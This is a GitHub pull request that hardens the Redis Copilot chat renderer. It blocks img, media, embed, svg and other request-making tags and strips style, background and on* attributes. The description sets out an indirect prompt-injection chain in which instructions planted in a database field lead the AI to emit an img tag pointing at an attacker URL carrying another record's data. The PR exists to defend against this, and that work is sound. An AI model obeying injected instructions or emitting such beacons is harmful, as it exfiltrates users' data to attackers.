Skip to content

fix(copilot): block HTML exfiltration vectors in AI chat rendering (RED-194228)#6156

Open
DimoHG wants to merge 3 commits into
mainfrom
fe/bugfix/RED-194228/copilot-block-html-exfiltration
Open

fix(copilot): block HTML exfiltration vectors in AI chat rendering (RED-194228)#6156
DimoHG wants to merge 3 commits into
mainfrom
fe/bugfix/RED-194228/copilot-block-html-exfiltration

Conversation

@DimoHG

@DimoHG DimoHG commented Jul 6, 2026

Copy link
Copy Markdown
Contributor

Fixes the client-side, exploitable part of VDP-4596 / HackerOne #3680497 (CVSS 5.9, Medium).

Problem

Redis Copilot AI responses are rendered through react-jsx-parser with raw HTML passed through (allowDangerousHtml). The only blacklisted tags were iframe and script, so an AI response containing <img src="https://attacker/?data=..."> (or other passive network tags) rendered as a live element and issued an outbound request on load.

Combined with indirect prompt injection (untrusted database content treated as instructions by the remote Copilot model), an attacker can smuggle another record's data into that URL and exfiltrate it to an attacker-controlled host — the exfiltration channel at the end of the reported chain.

Fix

Scoped to the Copilot render path (MarkdownMessage.tsx):

  • Block every tag able to trigger an outbound request: img, image, picture, source, video, audio, track, object, embed, link, svg, input (plus existing iframe, script).
  • Strip the style attribute in addition to on* handlers — CSS background-image: url(...) is another beacon.

Copilot answers are plain markdown (text, tables, code, links) and never legitimately contain images/media. Tutorials render via a separate component (InternalPage.tsx) and do use images, so the shared remarkSanitize is intentionally left untouched.

Out of scope (remote services)

The LLM, system prompt, and tool orchestration run on remote services (redis.io/convai, cloud-copilot-service), not in this repo. System-prompt disclosure, prompt-injection resistance, and instruction/data isolation should be handled by the Copilot backend owners.

Testing

  • New security tests in MarkdownMessage.spec.tsx assert <img>, video/object/embed/iframe, and inline style do not render (5/5 pass).
  • Manual: with Copilot enabled, store an <img src="https://…"> payload in a doc field, ask Copilot to summarize, and confirm no outbound request appears in the devtools Network tab.

🤖 Generated with Claude Code


Note

Medium Risk
Security fix on untrusted AI-rendered HTML; scope is limited to Copilot’s MarkdownMessage, but parser/sanitize edge cases could still affect legitimate markdown links or tables.

Overview
Hardens Copilot AI message rendering so crafted HTML in model output cannot trigger outbound requests (e.g. <img src="https://attacker/?data=...">) and exfiltrate data after indirect prompt injection (VDP-4596 / RED-194228).

MarkdownMessage now passes a broad BLACKLISTED_TAGS list to react-jsx-parser (media/embed tags plus existing iframe/script) and BLACKLISTED_ATTRS to strip style, legacy background, and on* handlers that could beacon via CSS or events. Raw <link> is not tag-blacklisted (would break PascalCase <Link>); tests still expect it not to appear in the DOM via the markdown sanitize path.

Tests replace a debug stub with waitFor-based coverage: plain markdown plus a security suite for img, video/object/embed/iframe, inline style, <style>, background, and <link>.

Reviewed by Cursor Bugbot for commit 8d18682. Bugbot is set up for automated code reviews on this repo. Configure here.

…ED-194228)

Redis Copilot answers are rendered via react-jsx-parser with raw HTML
passed through (allowDangerousHtml). The only blacklisted tags were
`iframe` and `script`, so an AI response containing `<img src=...>` (or
other passive network tags) rendered as a live element and issued an
outbound request on load.

Because message content can be influenced by untrusted data through
indirect prompt injection (a malicious instruction stored in a database
field that Copilot later summarizes), an attacker could smuggle stolen
data into an `<img>` URL and exfiltrate it to an attacker-controlled
host — the core of VDP-4596 / HackerOne #3680497.

Block every tag able to trigger an outbound request (img, image,
picture, source, video, audio, track, object, embed, link, svg, input)
and strip the `style` attribute (CSS `background-image: url(...)` is
another beacon). Scoped to the AI-chat render path only; tutorials use a
separate renderer and legitimately display images.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@DimoHG DimoHG requested a review from a team as a code owner July 6, 2026 13:26

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 79a62af433

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

@github-actions

github-actions Bot commented Jul 6, 2026

Copy link
Copy Markdown
Contributor

Code Coverage - Frontend unit tests

St.
Category Percentage Covered / Total
🟢 Statements 83.69% 26824/32051
🟡 Branches 69.39% 11410/16444
🟡 Functions 79.01% 7171/9076
🟢 Lines 84.16% 26131/31051

Test suite run success

7599 tests passing in 847 suites.

Report generated by 🧪jest coverage report action from 8d18682

…ring

- Remove 'link' from tag blacklist: JsxParser matches blacklistedTags
  case-insensitively, so it also suppressed the legit PascalCase <Link>
  component and dropped rendered links. Strip raw <link> via regex instead,
  mirroring InternalPage.
- Add 'style' to the tag blacklist for parity with InternalPage (defense in
  depth against CSS @import beacons).
- Anchor the style-attribute matcher to /^style$/i.
- Make security tests await the async render before asserting absence, and
  add <style>/<link> element cases.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes using default effort and found 1 potential issue.

Fix All in Cursor

❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, have a team admin enable autofix in the Cursor dashboard.

Reviewed by Cursor Bugbot for commit ccde3a9. Configure here.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: ccde3a9cc5

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Address bot review on the previous commit:

- Remove the LOWERCASE_LINK_TAG global string replace. It ran over the whole
  formatted JSX (including fenced code emitted as <Code>{JSON.stringify(...)}
  </Code>), so a <link> inside a code snippet was deleted, corrupting the
  block. Raw <link> elements are already stripped by remarkSanitize (DOMPurify)
  during formatting, before the PascalCase <Link> component is generated, so
  the regex was redundant as well as harmful.
- Block the legacy `background` URI attribute (/^background$/i): DOMPurify keeps
  it on <table>/<td> and browsers load it as an image URL, another render-time
  exfiltration vector.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@DimoHG

DimoHG commented Jul 9, 2026

Copy link
Copy Markdown
Contributor Author

@codex review

Latest commit 8d18682be addresses all prior findings:

  • Removed the <link> global regex (corrupted <link> inside code blocks); raw <link> is already stripped by remarkSanitize/DOMPurify.
  • Added /^background$/i to blacklistedAttrs (DOMPurify keeps background on <table>).
  • style tag + /^style$/i attr blacklisted.

Please re-review.

@chatgpt-codex-connector

Copy link
Copy Markdown

Codex Review: Didn't find any major issues. Swish!

Reviewed commit: 8d18682bec

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant